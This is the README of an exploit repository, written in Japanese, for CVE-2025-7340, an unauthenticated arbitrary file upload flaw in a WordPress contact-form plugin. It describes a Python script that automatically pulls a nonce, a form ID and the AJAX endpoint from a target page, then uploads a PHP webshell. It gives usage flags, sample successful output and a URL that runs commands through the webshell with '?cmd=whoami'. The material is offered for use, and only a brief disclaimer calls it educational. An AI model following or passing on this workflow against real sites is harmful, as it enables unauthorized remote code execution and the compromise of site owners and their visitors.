
HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder. <= 2.2.1 - 未認証の任意ファイルアップロード
CVE: CVE-2025-7340
CVSS: 9.8 (緊急)
WordPress用プラグイン HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder. は、2.2.1 までの全バージョンにおいて、temp_file_upload 関数でファイルタイプの検証が欠如しているため、任意のファイルアップロードに対して脆弱です。
これにより、未認証の攻撃者がサーバーに任意のファイルをアップロードでき、**リモートコード実行(RCE)**につながる可能性があります。
このリポジトリには、脆弱なフォームの検出を自動化し、影響を受けるサイトにウェブシェルをアップロードするPythonエクスプロイトスクリプトが含まれています。
このスクリプトは必要なパラメータ(nonce、form_id、ajax endpoint)を自動的に検出し、脆弱なパスにPHPシェルをアップロードします。
✅ 脆弱なフォームURLの例:
http://target.com/contact/
✅ -u オプションで指定したページには脆弱なフォームが存在する必要があります。
スクリプトを実行する前に、必要なPythonモジュールをインストールしてください:
pip install -r requirements.txt
requirements.txt の内容:
requests
colorama
usage: CVE-2025-7340.py [-h]
Exploit for CVE-2025-7340 - Unauthenticated Arbitrary File Upload | by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target URL e.g http(s)://target.com
| オプション | 説明 |
|---|---|
-h, --help | このヘルプメッセージを表示して終了 |
-u, --url URL | ターゲットURL(例: http(s)://target.com/contact) |
エクスプロイトが正常に完了すると、指定されたパスでアップロードしたシェルにアクセスできます。
システムコマンドを実行するには、?cmd=<your_command> を追加します。
✅ 例:
http://target.com/wp-content/uploads/ht_form/temp/shell.php?cmd=whoami
Starting exploit against target...
Fetching target page...
Extracting parameters...
Extracted Nonce: 346c441903
AJAX Endpoint: http://nxploit.ddev.site/wp-admin/admin-ajax.php
Form ID: 86
Generating webshell...
Uploading shell, please wait...
[+] Exploit Successfully!
Go to: wp-content/uploads/ht_form/temp/687590d90ac1c-shell.php
Exploit by: Khaled Alenazi (Nxploited) - GitHub: https://github.com/Nxploited
このツールは教育および研究目的のみで提供されています。
作者は、このコードの誤用や損害について一切の責任を負いません。
どんなシステムに対してもテストを行う前に、必ず明示的な許可を得てください。
Khaled Alenazi (Nxploited)
GitHub: Nxploited